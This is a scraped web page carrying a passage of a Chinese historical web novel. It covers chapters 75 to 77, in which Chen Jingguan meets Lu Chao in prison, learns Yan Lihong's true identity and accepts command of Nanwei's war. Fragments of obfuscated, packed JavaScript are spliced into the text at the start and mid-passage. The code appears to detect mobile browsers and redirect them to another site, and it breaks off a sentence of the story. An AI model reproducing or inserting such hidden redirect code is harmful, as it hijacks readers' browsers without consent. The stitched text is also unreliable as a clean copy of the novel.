d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14902867|146751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 举将其消灭。” 元焕说到这,陈京观突然想到了温叔让告诉他的话,那此时的江阮,会不会就是彼时的自己? 他们都是误入斗兽场的野兽,站台上的人在下注,也在观望。陈京观与江阮手里各握着一张牌,不足以定局,却可以搅局,而牌桌上的其他人在等,等他们自相残杀,也在等他们露出破绽。 可转念一想,江阮,灵谍,泯川楼,霜栽,陈京观脑海里细碎的线索连在了一起,当这幅画卷在他面前缓缓展开,他反而不敢相信了。 如果灵谍的头目是江阮,那么江阮与东亭旧族又有什么关系,更进一步说,姚康或许只是他扶上位的挡箭牌,但他为什么要这么做?凭江阮的个性,他不会选择屈居人后。 其次,已知灵谍在南魏的一个据点是泯川楼,而霜栽是泯川楼实际上的管事人,那么是否可以推知,霜栽也是灵谍,或者说她至少默许了江阮用泯川楼做另一个挡箭牌,可霜栽的目的又是什么?这难道就是她复仇的手段? 最后,也是陈京观最不愿意相信的事实,如果这一切都是真的,那么平海的死,与霜栽脱不开干系,与江阮脱不开干系。可是自己与霜栽谈起平海时,霜栽眼中的诧异和叹惋一定不是装的。 不对,为何会有叹惋? 陈京观如梦初醒,那一刻他相信了一切。 如果霜栽在事前对刺杀一事全然不知,那她眼中有诧异是可以理解的。可加上叹惋,只有一个解释:霜栽自始至终就知道平海会死,她的诧异不是陈京观被刺杀,而是她的簪子成了杀人凶器,她的叹惋,则是对平海命中注定的结局的复杂情绪。 可,为什么死的人是平海? 当积攒在心头的毛线团被理出头绪,陈京观只觉得好笑。他在一步步向前,却发现他信任的,他爱的人都各怀鬼胎,而他不得不向前,因为他信任的,他爱的人为了他能走到今日,舍生忘死。 陈京观背后的平芜自然也反应过来了一切,他像是另一个陈京观,他拼命要找的真相,可他或许无法承受。平芜因为身体震颤而不自觉靠在了桌边,手脚冰凉,陈京观晃过神来一把扶住他,紧紧握住了他汗津津的手。 “再等等,若真是她,我不拦你。” 平芜被陈京观的话叫回神,却不知道如何应答。他夜以继日在寻的真相浮出水面,可他动不了。 若此时不是在澄州,平芜定会亲自去一趟泯川楼查个清楚,可他偏偏不在崇州,地域的距离带给了他思索的时间,也带给了他犹豫。 自己挥刀替哥哥报仇时,师兄会怎么想?师兄定不会拦着自己,但霜栽,也曾是陈京观的妹妹。 平芜想到了自己随陈京观去西芥的那天,他说“真希望日子就这样过下去”,那时是随口一说,可今日,他真希望一语成谶。 “时间差不多了,少将军随我出发?” 元焕识趣地偏开头,留陈京观与平芜慢慢接受这不得不接受的事实。他瞧着日头西斜,缓缓开口道:“少将军,若我与您说的,您尚且不能接受,那陆伯父要同你讲的,你恐怕更是如此。” 元焕的话引起陈京观警觉,他望向元焕的目光带着少有的凌厉。陈京观的手缓缓移到平芜的肩膀,然后轻轻捏住他的肩头。 “你在此休息,权当整理思路。待我回来,我们一桩桩一件件理理清楚。” 平芜点头,脚步缓慢地走到床边,突然用被子将自己蒙住,陈京观听见了轻轻地抽泣。 “走吧,无论真相是什么,我都接受。” 75.掊斗折衡(五) 澄州刑部大牢。 元焕让随从打点好了换班的守卫,又把内部的守军换成了自己人,陈京观原本以为他要留下听,可元焕把一切做好后转身走出了大牢。 “比起他的父亲,他少了那三分狡黠和多疑,将这三分换成了真诚。” 陆晁看得出陈京观的意外,待元焕走后笑着解释。陈京观点头应和着陆晁的话,却没有想要率先开口的打算。 “你应当有许多好奇的,你尽管问。” 陈京观依旧没有做声,他跨过门槛走到陆晁身边。 说来也巧,昔日他见到的陆晁总裹着一身风雪,须发间皆是冰霜染就的灰白。而今日在这牢房灰暗的灯光下,陈京观还是能看到那些雪白的痕迹。 原来那不是自然的产物,是岁月的笔刀。 “您,还好吗?” 陆晁没有想到陈京观第一个问题竟是问候,他愣了一下不禁失笑,下意识用手揉搓着鼻子。 “挺好的,倒是没受什么罪,过些日子栖川还能进来陪我。” 陈京观听到陆栖川的名字时眼睛一亮,“是因为晏离鸿?” 陆晁点头道:“毕竟是他掉以轻心才给了离鸿可乘之机,他该担此罪责。” 陆晁直至此时,依旧唤着“离鸿”。 陈京观轻声叹息继续问道:“那昌安军如今由谁统领?” “你倒也真不客气,上来就窥探军机,”陆晁轻笑,却依旧答道:“桑柘,你见过的。” “可信?” 陆晁点头,“自然,”说完后,他像陷入了回忆,“他父亲桑诠安是我的老部下,东亭战役最后一击时他带冲锋队突围,却将自己的命留在了那,自那以后小桑柘便被我养在了家里。栖川从小是太子伴读,所以更多时间是桑柘陪着栖野,栖野将他当作亲哥哥。我们家,其实该有四个儿子。” 对于这个名字,陈京观对得上面容,那是常跟在陆栖川身后沉默寡言的男子,看上去应当和陆栖川差不多大,他眉宇间有一道浅浅的疤,陈京观印象很深。 “那倒也不算失了兵权,元衡对您,还是信任的。” 陆晁抬眸看着陈京观,“你真是越来越大胆,我毕竟是北梁臣子,你竟直呼我朝皇帝姓名?” 陈京观应承着道歉,却又补了一句:“我信您,正如您信我。” 陈京观的话说到这份上,自然点明了陆晁的真实意图,他招手让陈京观走近些。 “元衡的意图我不能与你言明,这也是我取信于他的条件。但是你可相信一件事,陆栖野始终是你的朋友。” 陆晁的话说得委婉,陈京观几乎回味着其中每一个字眼,半晌,他才开口:“即使我现在只是一个小小县丞,您也敢将栖野托付给我?” “你就是你,想当初你不过是一个毛头小子,无官无品,那时我尚且能让栖野与你相交,今日的你,应当有所长进了。况且,”陆晁一顿,“与其说是托付,不如说是希望你无论如何保下他,不论立场。” 陈京观闻言微微蹙眉。要说其他的,不必陆晁开口陈京观也自然做得,可最后这句“不问立场”,是在暗示他们已经在不同立场了吗? “既然如此,陆伯父也请交个底,北梁对于东亭,是何态度?” 陈京观直言不讳,他望向陆晁的眼神犹如那日在陆府二人唇枪舌剑之时,不过那时是陆晁在试探陈京观,而此时是陈京观在试探陆晁。 “那你先回答我一个问题,”陆晁脸上的笑意凝结,“你依旧相信不见血的刀刃,也能斩奸佞吗?” 这个问题时隔两年再次被提起,早已物是非。 陈京观自认坚守自己的本心走到现在,可他扳倒了蒋铎,斩首了遏佐,甚至将宛达斩草除根,要说他的刀刃依旧干净,那太过伪善了。 可是他力排众议去查了景州茶税,他依旧不能对弗行远的死无动于衷,他依旧不愿看着廊州的百姓挨饿,他的心没变。 “信。” 还未等陆晁说话,陈京观继续说道:“但是我的刀出鞘了,就握在我手里。” 陈京观不愿杀人,可若天道逼他,他愿意做个为好人执刀的恶人。 “北梁,依旧会收复东亭,至于途径,我不能告诉你。我的态度,你该明白。” 陆晁的分寸拿捏得很好,他只告诉陈京观结果,却不告诉他过程,这其中的过程,将由陈京观决定。至于陆晁的决定,他把陆栖野交给陈京观时,一切不言自明。 “明白了,那就剩最后一个问题。” 一时,原本苦寒的牢狱更是如凌风雪,时不时有穿堂风从二人面前经过,让空气中的呼吸混为一谈。 “晏离鸿,就是孟知参之子孟遥鹤。” 霎时,所有猜测皆已成真,记忆里的两个人影慢慢交叠,陈京观的手也慢慢握成拳。 其实他初见时就应当认出来的,只是他记忆里的孟遥鹤比陈京观还要高些,还要壮些,孟知参还说要让他成为南魏第一将军。 那样的人,与陈京观再见到时的晏离鸿判若两人。 那瘦削得如同白骨的人,怎么会是孟遥鹤,怎么会是一心想要展翅的仙鹤? “其实,我是为了救你才去的泯川江边。” 陆晁的话句句如惊雷,陈京观猛地抬头,不知不觉眼眶里已经有了水色。 “你林叔叔最先收到了你父亲失踪的消息,他当即察觉出不对,只是还没等我们有所行动,萧霖就下旨陈家满门抄斩。我们也是赌,想着万一你们家能有人活着出来,好歹能给陈频留个念想。可我没等到你,等到了被人牙子丢下的离鸿。” 所以遥鹤是远方的仙鹤,离鸿,是走失的大雁。 “我刚看到他的时候,我也以为他没了气息。小小一个人趴在江边,江水一下一下拍打着他的脊背,我原下令让人将他敛葬,他却握住了我的手。我记起了初为人父时的感觉,那轻轻的力度是试探,也是信任。” 说到这里,陆晁的声音有些许哽咽。 他是有两个亲生儿子,可平心而论,他对晏离鸿更为偏袒。陆晁对陆栖川寄予厚望,对陆栖野多加规训,对于晏离鸿,却是百依百顺。晏离鸿想要做的,陆晁全力支持,他不喜欢的,陆晁提都不提。 可后来晏离鸿跑了,陆晁进了大牢,他也慢慢回过味来。或许正因如此,晏离鸿才觉得陆晁从未将他当作自己的孩子。在他看来,陆晁的对他的好,是责任,是怜惜,唯独不是爱。 晏离鸿意识中的父亲,还是孟知参的形象,是严父,是会用戒尺将他的掌心抽打出血的父亲。 他们都没有错,可爱是双向的,他们一个拼命爱,一个拼命感受爱,但是从一开始他们就错位的, “那您知道他为何如此吗?” 陈京观的声音打断了陆晁的回忆,陆晁深吸一口气慢慢平复心情。 “说来,是因为你。” 陆晁苦笑着,他低着头,陈京观看不到他的表情。 “你出现后,我们派人查了你的身世。宁渡为你准备的生平很妥帖,但百密一疏,那一疏是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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陆晁转头用手抚了一把脸,“从见到你的那天起,那个厌恶纷争,厌恶朝堂的晏离鸿就变了。他开始主动演习兵法,开始参与我和栖川的政论。我以为他只是改了性子,却忘记深究这其中原因。终究还是我的疏忽。” 陈京观望着慢慢黯淡下去的陆晁,他骄傲了一辈子的头低下去了,他带了无数兵,自觉识人无数,可偏偏没看透他这个儿子。 “您只是信他,之如您信我。” 陆晁笑着点头,笑声重复了好几遍“我信他”,陈京观犹豫了片刻,还是轻轻拍了拍陆晁的肩膀。 “放心,我会将他带回来的。” 陆晁顿了一下,缓缓摇头,“他若不愿意回来,就让他去做自由的鹤吧。” 陈京观的手也随着陆晁的动作停滞,“若他犯了错呢?” “他已经犯了错了,我正替他受着。如若他真的走上了不归路,”陆晁的声音戛然而止,陈京观突然有些心疼眼前的老人。 陆晁飒爽了一辈子,让人忽略了他渐长的年岁,如今他脱下那身盔甲,他也只是个凡人,是妻子的丈夫,是孩子的父亲。 “杀了他,不要让他一错再错。” 陆晁已经意识到了晏离鸿的目的,只是此时的他没有向陈京观言明,他带着一丝侥幸,期望陈京观见到晏离鸿时能将这只离群的大雁带回家。 “好。” 陈京观的回答干脆利落,可他侧身的时候却泪湿眼眶。 他不能想象,知晓彼此身份的自己与晏离鸿再次见面时,又是何等萧索。 他若再早一些认出晏离鸿,他若再早一些问一问晏离鸿,他们,是不是能回到从前?而自己走到今日,是否做好了面对一切的准备? 陈京观向陆晁行礼,由牢狱守卫从后门带了出去,迎面的风吹散了他头脑中涨满的阴霾,他望着澄州这似与云相接的天空,看到了从南方飞回来的大雁。 76.掊斗折衡(六) “师兄,席英传了信,皇上让您回京。” 陈京观刚走出澄州的四方街,平芜已经将行李收拾好等在了路口。 “有说什么事吗?” 陈京观接过了平芜手里的包袱,与他一起翻身骑在马上。 “恐怕这仗必须得打了,北梁这边有动作。” 陈京观在刑部大牢的时候,元焕返回了客栈。 “别哭了,你也不是小孩子了,哭哭啼啼传出去坏了你的名声。” 元焕关上门走到床边调笑着说,平芜蒙着头回了一句“我没哭”,后知后觉自己这样做不合礼数,便又探出脑袋,“请问殿下,我师兄呢?” “他在和陆将军说话,有些话我说给你,再由你告诉他,如今形势我不便在外逗留太久。” “你信我?” 平芜坐直身子,用袖子胡乱在脸上摸了一把,元焕无奈地轻笑一声,从怀里掏出一块帕子。 “去洗洗干净,”说罢,元焕看着平芜手上的动作顿了一下,他继续说道:“人总会长大的,既然你选择跟着陈京观东奔西走,你就总有独当一面的时候。” 平芜接过那块用金线勾了松叶的帕子,轻声道了句谢,始终没有抬头看元焕。 “我说你记,不用回答也不要质疑。” 元焕的语气冷了些许,“今天的见面,务必保密。陆伯父的确说要见陈京观,但是由我出面,是我与陆伯父私下的决断,父亲不知。” 平芜站在面盆前刚捧起水,元焕的话让他动作一滞,但是想到元焕刚才的话,他没有做声,继续听着。 “方才父亲叫我回宫,是因为圣旨已下,一切尘埃落定。对于东亭复国一事,我北梁暂无行动。” “元衡能坐视不管?” 平芜脸上的水渍还没擦干,他扬起脸时水花溅到了元焕的脚边,元焕不动声色地退了一步。他没有在意平芜的提问,继续说:“其中得失父亲自有判断,你且将一切说与陈京观,我相信他此刻也该有判断了。” 平芜还想问什么,元焕已经作出迈步离开的动作。 “沉住气。陈京观或许谋略仍显幼稚,但是他坐得住,在他这个年纪很难得,你该学学。” 说罢,元焕朝门口走去,路过平芜时他犹豫了片刻,伸手拍了拍平芜的肩膀。 “找到一切的源头,然后斩断他,这才能达到你的目的。” 平芜还僵在原地,元焕已经由等在外面的人从后门带了出去,登上了一辆不起眼的马车,直朝宫门口走去。 “殿下为何不直接告诉陈京观?” 马车上,刚刚接应陈京观的小侍卫试探着问道,元焕摇了摇头,“我直接说与他,这叫泄露军情,我该被斩首的。” “那此时有何不同?” 元焕微微揭开车帘,从缝隙处望向刑部的位置,“由平芜的嘴说出去,大可以推说是由他的人探出的消息。对于这样的军情消息,父亲不会大张旗鼓去查,我能置身事外。” 小侍卫一知半解地点头,有些支支吾吾。 “想问什么继续问。” “既然是军情,那您为何……” 元焕放下车帘,嗤笑一声随即长叹息道:“父亲有他的考虑,我也有我的考虑。陆伯父让我相信父亲所做一切是为了我好,但是我也相信我所做的一切是为了天下。” 不能再打仗了,这是天下人的共识。 元焕不知道元衡出于何种目的选择隔岸观火,但是他知道,父亲的这把火会烧毁南魏。而这把火会不会让北梁作茧自缚,元焕打了一个问号。 北梁的发展很快,尤其在元衡御驾亲征打下东亭之后,但是古往今来,盛极必衰。一个靠军事起家的国度,人人皆兵,那么人人也可称帝。 元衡的手下还有陆晁,还有林均许,他们稳住了北梁,可这些人终会退出历史舞台,元焕要为自己的北梁作一番打算。 他想要一个北梁人的北梁,而不是他元家的北梁。 马车行过四方街,两个高大的身影站在巷口。 平芜将方才元焕说与自己的一字不差的告诉了陈京观,陈京观面色平和,没有平芜想象中的风云变色,他心里暗地回忆起元焕对陈京观的评价。 “那我也明白萧霖为何要找我了。告诉席英,我们在阙州汇合。” 陈京观拉起缰绳,没走两步又回头看着平芜。 “给沧州去消息,让陆栖野准备好,该打仗了。” …… 南魏阙州。 陈京观到阙州时,阙州已经到了一年中最好的时候,城内的铺子用各色鲜花装点,绿柳成荫,春意盎然。 陈京观寻到街角一家不起眼的小店,买了四份酸酪,打包了一份,特意让商家冰上了。 “我看你眼熟,以前来过阙州?” 店里的阿婆上了岁数,拿东西的手颤颤巍巍,她侧头又看了一眼陈京观,再次笃定地点头,“一定是你,很多年了,你终于又来吃阿婆的酸酪了。” 陈京观笑着叫了声“宋阿婆”,在她儿子出来前转身骑马继续往前走。 “看样子是上了岁数不太认人了。” 平芜将手里的酸酪分给席英,一边吃一边惋惜地说。陈京观没应答,只转身问他们好不好吃。 “味道还不错,就是葡萄干有些多。” 席英咂巴着嘴,无意似的把葡萄干都码在了碗边,只吃里面酸酪。 “等下我一个人进去,你们先找个客栈住下。” 陈京观把手里吃完的碗拿着端详了一会,用帕子简单擦了擦装进马褡子里。席英瞧了他一眼,没有问出心里的话。 看着两个小孩慢慢走远,陈京观将那份打包好的酸酪又仔细检查了一遍,确认包装无误,沿着进宫的路朝右盈门走去。 也不知是何缘故,陈京观走着走着又绕回了萧霖封赏给自己的那座宅子。 那破落的宅子如今焕然一新,摇摇欲坠的牌匾变成襄着漆边的“关府”,前廊上的红柱子全部用新木置换,如此一来,在这阙州最繁华的街上倒也不再显得突兀。 陈京观脚下没有停留,他路过的时候只是骑在马上侧身看着这精致的府院,好似还能听到关策新娶的夫人在里面训斥下人。 陈京观被贬的这些时日,宫里宫外的消息全是靠关策和夏衍里应外合给他送。关策那里的消息来的准确些,而夏衍那儿的消息更五花八门,虽说陈京观许久没回来,倒也没觉得有多生疏。 眼瞧着再往前走,就到蒋铎的府衙了,不知为何,陈京观有些不知如何靠近。他腰间的玉佩随着马儿的起伏时不时撞击他的缠腰,发出玉石特有的清脆响声。 蒋铎家里除了一个耳背的老母亲,再没有人了,终身没有嫁娶的他到最后是由萧霖让人为他选了块坟地简单下葬的。 蒋铎光鲜了一辈子,可临了连个唢呐声也没听到,他的老母亲在听闻儿子获罪后就昏死过去了,蒋铎死后没多久,也随着去了。 曾经门庭若市的蒋府,成了曾经那个没法被提起名字的人的府邸,它们只好似换了个位置,依旧一红一白驻守在这条街上,唯一变了的只有人们口中的谈资。 陈京观停下脚步看了看那块被许多人锤击过的大门,还有那块已经看不清字的匾额,他感觉腰侧的玉佩透过那几层布料贴在了他的身上,冰凉一片。 蒋铎为何要把这玉留给他,他应当恨陈京观入骨。 人死了,一切都结束了,唯有他留下的谜团,如阴云一般久久困住了陈京观。 “少将军?” 不知不觉,陈京观的马走到了崇明殿前,他回过神看着问候自己的内侍,还是最初来接自己入宫的那一个。 “难为您还认得我。”陈京观微微朝内侍行礼,“烦请公公替我栓好马。” 那内侍接过陈京观的手里缰绳,刚向前走了两步又回头小心翼翼地问道:”少将军此次回来,是为了遥景匪患吗?” “公公是何意?” 那内侍目光有些闪烁,“我以为,您会像救广梁一样,救一救南魏。” 说罢,内侍叹了一口气朝陈京观鞠了一躬,倒是陈京观被内侍的话惹得皱眉,他没有对内侍的话冷嘲热讽,因为他看得出内侍眼里那藏不住的恐惧。 陈京观抬头又看了一眼崇明殿,好似能看到在书房那扇屏风后,萧霖正等着自己。 …… “臣丰水县丞陈京观,参见皇上,吾皇万岁。” 陈京观单膝跪在屏风外,里面的人被他的动作惹得发笑,只听书房里传出,“我还是喜欢以前的你。” 陈京观没应声,他起身后抚了抚外袍下摆,绕过屏风,站定在萧霖面前。 “抬头。” 萧霖稳坐着,他看着陈京观一步一步朝自己走过来,这次的陈京观好像是不一样了,他佝偻着背,弯着腰,低着头,像是犯了错的孩子回来认罚。 陈京观又朝前走了两步,把手里的酸酪小心翼翼从盒子里拿出来,又用袖子把碗沿的水珠擦掉。 “臣少时最喜欢的一家酸酪铺子,索性阿婆还在,味道没变。” 萧霖身边的内侍想上前试毒,却被萧霖用手里的珠子敲了手,他接过陈京观递给他的勺子,从最上面舀了一勺。 “味道确实和宫中的不同,好吃。” 陈京观笑了笑,却依旧没有抬头,萧霖一勺一勺吃着碗里的酸酪,依靠着桌子向前探身。 “怎么,我的少将军让人掉了包?” 陈京观陪着萧霖笑,“我未得圣意私放官粮,皇上还没罚我呢,我自然不敢为非作歹。” 萧霖稍稍挑眉,眼里满含笑意,“你不是都成丰水县丞了,还不够吗?” “这算是赏,不算是罚。” 萧霖抿了抿嘴,回味着酸酪,也回味着陈京观的话,半晌,他又开口:“你想清楚了?我记得某人出城时可连面都不露。” 陈京观笑道:“不露面是因为觉得无奈,也有些寒心,倒不是因为陛下的圣旨。” “怎么说?” 陈京观轻叹一口气,“他们吃定我陈京观是个软心肠,我也确实如此,便只能顺着他们的意做事。可是我做了这么多,他们却从未为我想想。” 萧霖放下手里的勺子,示意内侍先退下。 “你不该指望任何人舍己为人,这何尝不是一种自私?” 陈京观点头道“是”,萧霖继续说:“不过我倒是觉得,这说明朝堂这大染缸还没有给你着色,你还是那个少将军,我也还能信你。” 陈京观笑了笑,有些玩味地说:“我如此表现,让陛下觉得还能用百姓拿捏我?” 萧霖对陈京观的话不置可否,“你只要没有生出自己的私心,我就能信你会为了南魏做任何事情。也只有如此,你走到这一步才不算白干,否则,像你这样的人该被踢出局的。” 萧霖的话让陈京观陷入深思,也在某种程度上解了他困扰许久的问题。 正因为他是陈京观,所以这些看起来很蠢的事,由他做,才显得合理。他的一腔热血,将是这冰冻三尺的南魏最后的温度。 陈京观之前一直在心里问自己,像他这样天真的人真的能完成父亲的祈愿吗?现在他知道了,所有的祈愿,其实都是天真的代名词。 人们天真的怀着对美好的愿望,那么这些愿望,也只有同样天真的人相信,并且为之拼命。 “说了这么久,您今日找我来所谓何事?” 陈京观心里的石头落地,他的语气都轻松了许多,他往旁边的椅子走了两步,没等萧霖说话就自己坐了下去。 “我先给你讲个故事,也算是,我最后一次向你说明我是怎么样的人。听完之后,你再觉得要不要信我的话。” 不知是不是陈京观的错觉,他觉得萧霖的语气里有自嘲,还有一丝认命的无力。 “我赐给你的那个宅子,它原来的主人叫丛选。” 陈京观猛地抬头看着萧霖。丛选,在陈频之前任南魏丞相,万阳五年,一场瘟 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所以,当棋盘上黑白分明时,丛选成了阻碍这场棋局开始的那个人,只要他存在,崇宁和苏扬就没有办法开始这场莫名其妙的较量。对于两个信誓旦旦要一决高下的人,他们不会允许有第三个人扰乱这盘棋。 说来,陈频应当从一开始就知道丛选的死因,可那时的他还对苏扬和萧霖抱有全部信任,他惋惜丛选,却不认为自己是下一个丛选。 事实证明,丛选的死让盘棋开始跳动,陈频的死,让这盘死宣告和局。 陈京观回想起了第一次路过那个府院的时候,那里,也曾经住着陈京观。 “那你现在明白我为何会将他的宅子赐给你了吗?你愿意成为他吗?” 萧霖问着,他第一次有些紧张一个人的回答。 要说如果陈京观不同意,萧霖其实也不该失望,毕竟他在丛选和陈频死后就对这个朝堂失去了所有兴趣,只是陈京观的出现,给了他希望。 萧霖在某种程度就像是廊州的百姓,他们知道陈京观会面对的结局,可他们在赌陈京观会应下他们的请求,不为别的,只因为他是陈京观。 陈京观没有立刻回复萧霖,他向后枕在椅背上,闭上眼,听着鸦雀无声的崇明殿里的一切动静,试图在这里寻找到一丝让他坚持下去的东西。 他听到了自己的呼吸。 在寂静无声的宫殿里,他的呼吸声成了这春日最热烈的声音,他的胸膛起伏,一点一点占领了他意识的最高处。 最后打一场,拼尽全力打一场,然后无怨无悔地死去。 “东亭会先打我们,他们打不过北梁,也不想打北梁。东亭要吞并我们,然后看着北梁自己四分五裂。” 陈京观没有直接回答萧霖的问题,但是萧霖明白了他的选择,他们心照不宣的开始讨论能为这南魏做的最后一点事情。 “朔州是东亭的大本营,他们已经把周边的益州和济州拿下,下一步是遥州,再下一步,就是跨过遥景平原直指阙州。” 萧霖把军报递给陈京观,陈京观想到了刚才那个内侍的话,既然一个内侍都能知道遥景匪患,可见东亭已经有所行动。 “我先去景州,确保他们不会把手伸到阙州。但是我需要您明确一件事情,”陈京观抬眸看着萧霖,“这场仗我们要赢,我们要与北梁结盟,但是北梁不愿意。” ”呵,元衡那个老家伙,这么多年也没放弃过要一统天下的愿望。” 陈京观没说话,虽然陆晁没有告诉他元衡的目的,但是仅凭与元衡短短几次交流,陈京观认得清元衡的野心,这一次是北梁的挑战,同时也是北梁的机遇。 北梁想要拿下南魏,不会有比鹬蚌相争,渔翁得利更好的手段了。 可笑的是,只要元衡在,北梁就不会乱,他的目的真的可以实现。 “那你打算怎么办?” 陈京观笑着答:“当年父亲与蒋铎争执是否出兵援助东亭,那么今日的北梁依旧会有人争执是否联合南魏。” 萧霖眼角微微抽动,他自然知道陈京观私下里与北梁陆家交好,他不是没有担心过,但是他更愿意相信陈京观。 要说这朝堂还有最后一个爱着南魏的,那必定是陈京观,他与这片故土,互为羁绊。 陈频留给陈京观最深的执念,就是重振南魏。 “陆家会违抗军令?” 陈京观摇头,“陆家父子二人如今全部下狱,兵权不在陆家手上。” 萧霖问,“那你要如何?” 陈京观意味深长地笑了,“我能有平远军,陆家自然也能有自己的私兵,虽说兵力达不到昌安营的水平,可是尚且能够与东亭一战。况且北梁如今是按兵不动,并没有明确表明立场,元衡要的是利益,若让他看到更大的利益,他会让步的。” 萧霖没说话,陈京观走的可以说是一步险棋,他要用战火逼迫元衡出兵,可是没有人知道元衡的底线在哪里,一个能用短短三五年拿下一个国家的人,他心里的谋算细致到每一步。 但是对于南魏而言,这是现阶段最好的办法,与其坐以待毙,不如主动出击。 “好,就按你说的做。除了你的平远军外,南魏所有守军均听你调遣,虎符崔擎舟会给你,相应的战时招兵也会同步开始。” 陈京观起身给萧霖行礼,随即又站定。 “长公主,会有其他想法吗?” 萧霖没有说话,从他的脸上陈京观看不到答案,但是他知道萧霖心里有答案。 陈京观离开了书房,离开了崇明殿,战时准备的旨意随着他踏出宫门那一刻传遍南魏。 陈京观不知道萧霖与崇宁做了什么交易,也不知道他们进行了多少推诿,他只知道从此刻开始,南魏的命拴在了他陈京观的头颅上。 十年前,陈频与陈京观从同一条路出宫,他接到了出战的旨意,脚步沉重,思绪万千,只是今时不同往日,陈京观背后不再是空无一人。 77.草蛇灰线(一) 北梁沧州府衙,春日的风吹不到重山,消息却可以越过重峦叠嶂。 “林伯父,还是没有哥哥的消息吗?” 陆栖野手里拿着陈京观送来的信,信上说明了萧霖的意思,陈京观让陆栖野即刻出发前往遥景平原。 他是应该在三日前就出发的,可陆栖川到达澄州后久久没有回信,从他被押入刑部后,没有人再见过他。 林均许摇头,上前用手抚上陆栖野的肩膀,“元焕一直在找,那么大一个人不可能丢在刑部。” “哥哥是皇上下令关进刑部大牢的,人不见了,他一点疑问都没有?” 林均许沉吟片刻,“你哥哥没有定罪,原也是你父亲为了让他远离战事才求元衡下了这道折子。如今你哥哥失踪,只有认定他是畏罪潜逃,元衡才能开口搜查,可倒时候,你哥哥的罪就定下来了。” 对方一定是看准了这层关系,吃定陆家不敢声张寻人,这才大张旗鼓地把人带走了。 可刑部并非寻常地方,有谁能够一声不响把人带走,还能让所有人都闭口不言? 陆栖野一时间在心里想到了很多人名。 “林伯父,您觉得是谁想要乱了我们的计划?” 林均许没有直接回答陆栖野的问题,“他或许根本没有想乱了我们的计划。” 见陆栖野面露疑色,林均许解释道:“他除却绑走了栖川,其他的什么也没做。这个人想要的或许不是我们所想的,他的目的可能很单纯。” 陆栖野怒极反笑,“合着就是奔着哥哥去的?可哥哥这二十几年过得如履薄冰,要说我可能还有得罪的人,他不可能与人结仇。” 林均许心里也是如此的想法,为此,他才感觉这件事情十分诡异。 要说想要打乱这一切,绑走陆晁或许更有威慑力,要说是给陆林两家一个下马威,陆栖野护送林家来重山的时候更好下手,要说单纯与陆栖川不对付,那他被关进刑部大牢时,大可以名正言顺地惩治。 做这件事的人没有逻辑可言,可他的行为,成了临行前陆栖野心里的一根刺。 “你哥哥我会时刻盯着,一有消息立刻着人去寻你。京观那边等不了了,你先去。” 陆栖野分得清孰轻孰重,陆栖川这边只要没有传出什么消息,至少证明他还安好,而陈京观那边若再不行动,元衡势必要应了孔肃的意思。 届时陆栖野再出兵,对手将是陈京观。 “林伯父,我还有一事。” 林均许没等陆栖野说话,直接开口安抚道:“离鸿那边若有消息我也告知你。” 陆栖野顿了一下缓缓点头,他朝林均许行礼告退。二人对视时,都看到了彼此眼中的心事。 “桑大哥,昌安营就交给你了,守住它。” 陆栖野出了帐子,外面的陆家军已经整装待发,桑柘站在最前面替他将佩剑系好,又为陆栖野整了整衣领。 “第一次打仗,小心为上。” 陆栖野笑着点头,“知道了,刀剑无眼。” 桑柘还是一副严肃的样子,“家里的事情什么都不要记挂,我和林叔能照顾好。” 陆栖野依旧笑着,眼睛却有些发涩,“那当然是放心的,有你在,和父兄没什么两样。” 桑柘最后又拽了拽陆栖野的令牌,用手指细细描摹着上面的“陆”字,“这一仗,全家人的性命都在你身上,打输了,我们就是乱臣贼子。” “可打赢了,我们就是乱世枭雄。” 桑柘终于笑了,他应和着陆栖野的话,向后退了一步为陆栖野让出路来。 “做所有决定的时候,想着家,你就不会做错了。” 陆栖野翻身上马的动作一滞,但他很快调整好姿势,笑着朝桑柘的方向重重点头。 三年前的陆栖野,无论如何也不会想到,自己期盼了十几年的军功会以这样的形式落在他身上。 这场仗没有简单的输赢,这是陆家试图用自己的军功换元衡回心转意,是陆家所有人都盼着的和平。 败了,是通敌叛国,胜了,是定纷止戈。 如董辉加入平远军时所说,这一场仗,他们为自己而战。 …… 陆栖野一路从禹州的方向跨进新北梁,沿着探子查到的晏离鸿的行踪朝遥景平原走。 东亭占领了朔州后,又把手伸到了益州和济州,济州由于北梁派军驻守,在阻却了东亭军三次袭击后换来了短暂安定,可益州的一把火烧毁了嵩阳县的竹林,烧进了城里的每一寸角落。 陆栖野带兵从瀛洲绕道,在路上时不时能看到逃蹿出来的北梁人。 如今的东亭给所有东亭旧民编了户籍,他们摇身一变成了新东亭的老人,那些曾经被北梁朝庭派来填充益州的北梁人,成了人人喊打的流民。 陆栖野本打算加快行军,所以身上带的粮食不多,他这一路走过来,没等出济州,队伍里已经把能散的都散了,就剩了些干硬发涩的口粮。 陆栖野曾经想过,如果军队是北梁的命脉,那么战争是否就是北梁人的生存的原动力,可到了此时,他有了明确的答案。 兴百姓苦,亡百姓苦。 战争的刀刃不会避开任何一个无辜的人,阵营双方都是在用人命换王朝的延续,执棋的人从来不会意识到自己在说出那一句“吃”之后,是血淋淋的生命在付出代价。 不知不觉,陆栖野明白了陈京观的心软从何而来。 陈京观是残酷博弈的亲历者,他明白刀子捅在身上有多痛,或许身居高位者应当以利为先,可陈京观做不到忘记身上的痛。 这个世界真该感谢他的愚善,要不然他挥刀之时,应当比旁人更加果决。 他天生,该是个做恶人的材料。 在遥州的这么多天,陈京观一直都是这么觉得。 越到真正要面对一切的时候,他的思想越会动摇。 他起初是最厌恶战争的,现在也依旧如此,但是他发觉战争是洗牌的最好方式,它可以清洗一切,让人们有在废墟上重新开始的契机。 可所有的变动,必定伴随牺牲,陈频如是,陈京观亦如是。 战争当真是一个可笑的东西。 “少将军,清泉楼着火了。” 客栈的大门被推开,陈京观应声看了一眼报信的兵士。 